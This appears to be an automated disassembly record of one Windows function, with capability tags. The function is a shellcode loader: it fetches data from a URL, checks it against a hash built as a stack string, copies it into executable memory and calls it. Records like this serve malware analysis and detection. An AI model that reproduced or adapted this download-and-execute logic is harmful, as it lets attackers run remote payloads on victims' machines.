Function at 0x407c50
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572203
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x32c
push ebx
push esi
push edi
lea edi, [ebp - 0x33c]
mov ecx, 0xcb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x12c9128]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x44], 0x7a
mov byte [ebp - 0x43], 0x5d
mov byte [ebp - 0x42], 0x7f
mov byte [ebp - 0x41], 3
mov byte [ebp - 0x40], 0xd2
mov byte [ebp - 0x3f], 0x1f
mov byte [ebp - 0x3e], 0xa8
mov byte [ebp - 0x3d], 0x43
mov byte [ebp - 0x3c], 0x62
mov byte [ebp - 0x3b], 0xf0
mov byte [ebp - 0x3a], 0x7b
mov byte [ebp - 0x39], 0x50
mov byte [ebp - 0x38], 0x16
mov byte [ebp - 0x37], 0xaf
mov byte [ebp - 0x36], 0xa9
mov byte [ebp - 0x35], 0xc3
mov byte [ebp - 0x34], 0x5e
mov byte [ebp - 0x33], 0x22
mov byte [ebp - 0x32], 0x60
mov byte [ebp - 0x31], 4
mov byte [ebp - 0x30], 0xc1
mov byte [ebp - 0x2f], 0xb7
mov byte [ebp - 0x2e], 0xe7
mov byte [ebp - 0x2d], 0x46
mov byte [ebp - 0x2c], 0x95
mov byte [ebp - 0x2b], 0xf8
mov byte [ebp - 0x2a], 0xaf
mov byte [ebp - 0x29], 0x8f
mov byte [ebp - 0x28], 0xd1
mov byte [ebp - 0x27], 0x87
mov byte [ebp - 0x26], 0x17
mov byte [ebp - 0x25], 0xd9
push 0
push 0
push 0
push 0
push 1
push str.lpload
lea ecx, [ebp - 0x60]
call fcn.004525c0
mov dword [ebp - 4], 0
push 0
push 0x2710
push 2
lea ecx, [ebp - 0x60]
call fcn.00459350
push 0
push 0x2710
push 5
lea ecx, [ebp - 0x60]
call fcn.00459350
push 0
push 0x2710
push 6
lea ecx, [ebp - 0x60]
call fcn.00459350
push 0
push 0x2710
push 7
lea ecx, [ebp - 0x60]
call fcn.00459350
push 0
push 0x2710
push 8
lea ecx, [ebp - 0x60]
call fcn.00459350
mov dword [ebp - 0x6c], 0x84000002
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x84], 0
mov byte [ebp - 4], 1
push 0
push 0
mov eax, dword [ebp - 0x6c]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x60]
call fcn.00452b00
mov dword [ebp - 0x338], eax
mov edx, dword [ebp - 0x338]
mov dword [ebp - 0x78], edx
lea eax, [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x78]
call fcn.00457990
cmp dword [ebp - 0x90], 0xc8
jne 0x4080b6
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 5
mov ecx, dword [ebp - 0x78]
call fcn.00457910
cmp dword [ebp - 0x9c], 0
jbe 0x4080b4
mov eax, dword [ebp - 0x9c]
add eax, 8
push eax
call fcn.005127b0
add esp, 4
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x407e74
mov esi, esp
push 0x10
push 0x57ff6c
push str.Failed_to_allocate_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.0050ef30
mov byte [ebp - 0x32d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00452530
mov al, byte [ebp - 0x32d]
jmp 0x40830e
mov eax, dword [ebp - 0x9c]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x84]
push ecx
call fcn.0050f3e0
add esp, 0xc
mov dword [ebp - 0xa8], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x9c]
jae 0x407f85
mov eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0xa8]
cmp eax, 0x800
jae 0x407ed2
mov ecx, dword [ebp - 0x9c]
sub ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x338], ecx
jmp 0x407edc
mov dword [ebp - 0x338], 0x800
mov esi, esp
mov edx, dword [ebp - 0x338]
push edx
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x78]
mov eax, dword [edx + 0x3c]
call eax
cmp esi, esp
call fcn.0050ef30
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0xb4], ecx
cmp dword [ebp - 0xb4], 0
jg 0x407f6e
mov esi, esp
push 0x10
push 0x57ff6c
push str.Failed_to_read_data_from_URL.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.0050ef30
mov eax, dword [ebp - 0x84]
push eax
call fcn.00512790
add esp, 4
mov byte [ebp - 0x321], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00452530
mov al, byte [ebp - 0x321]
jmp 0x40830e
mov eax, dword [ebp - 0xa8]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0xa8], eax
jmp 0x407e99
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x9c]
push ecx
mov edx, dword [ebp - 0x84]
push edx
call fcn.00407ab0
add esp, 0xc
mov byte [ebp - 0x335], al
movzx eax, byte [ebp - 0x335]
test eax, eax
jne 0x407ffd
mov esi, esp
push 0x10
push str.Security_Error
push str.Hash_verification_failed.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.0050ef30
mov eax, dword [ebp - 0x84]
push eax
call fcn.00512790
add esp, 4
mov byte [ebp - 0x315], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00452530
mov al, byte [ebp - 0x315]
jmp 0x40830e
mov esi, esp
push 0x40
push 0x3000
mov eax, dword [ebp - 0x9c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.0050ef30
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x408078
mov esi, esp
push 0x10
push 0x57ff6c
push str.Failed_to_allocate_executable_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.0050ef30
mov eax, dword [ebp - 0x84]
push eax
call fcn.00512790
add esp, 4
mov byte [ebp - 0x309], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00452530
mov al, byte [ebp - 0x309]
jmp 0x40830e
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0xc0]
push edx
call fcn.00512420
add esp, 0xc
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xcc], eax
mov esi, esp
call dword [ebp - 0xcc]
cmp esi, esp
call fcn.0050ef30
mov byte [ebp - 0x19], 1
jmp 0x408113
lea ecx, [ebp - 0xd8]
call fcn.00404c40
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x90]
push eax
push str.Server_returned_status_code__d
lea ecx, [ebp - 0xd8]
push ecx
call fcn.00404810
add esp, 0xc
mov esi, esp
push 0x10
push str.HTTP_Error
lea ecx, [ebp - 0xd8]
call fcn.00404e20
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.0050ef30
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd8]
call fcn.00404d90
cmp dword [ebp - 0x84], 0
je 0x40812b
mov eax, dword [ebp - 0x84]
push eax
call fcn.00512790
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x4081a1
mov esi, esp
mov eax, dword [ebp - 0x78]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x78]
mov eax, dword [edx + 0x54]
call eax
cmp esi, esp
call fcn.0050ef30
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp - 0x300], ecx
cmp dword [ebp - 0x300], 0
je 0x408197
mov esi, esp
push 1
mov edx, dword [ebp - 0x300]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x300]
mov edx, dword [eax + 4]
call edx
cmp esi, esp
call fcn.0050ef30
mov dword [ebp - 0x338], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x33c], eax
jmp 0x4081a1
mov dword [ebp - 0x33c], 0
jmp 0x4082d0
mov dword [ebp - 4], 0
jmp 0x4082f0
mov al, byte [ebp - 0x19]
mov byte [ebp - 0x2c1], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00452530
mov al, byte [ebp - 0x2c1]
push edx
mov ecx, ebp
push eax
lea edx, [0x408348]
call fcn.0050ef60
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0050ef20
add esp, 0x33c
cmp ebp, esp
call fcn.0050ef30
mov esp, ebp
pop ebp
ret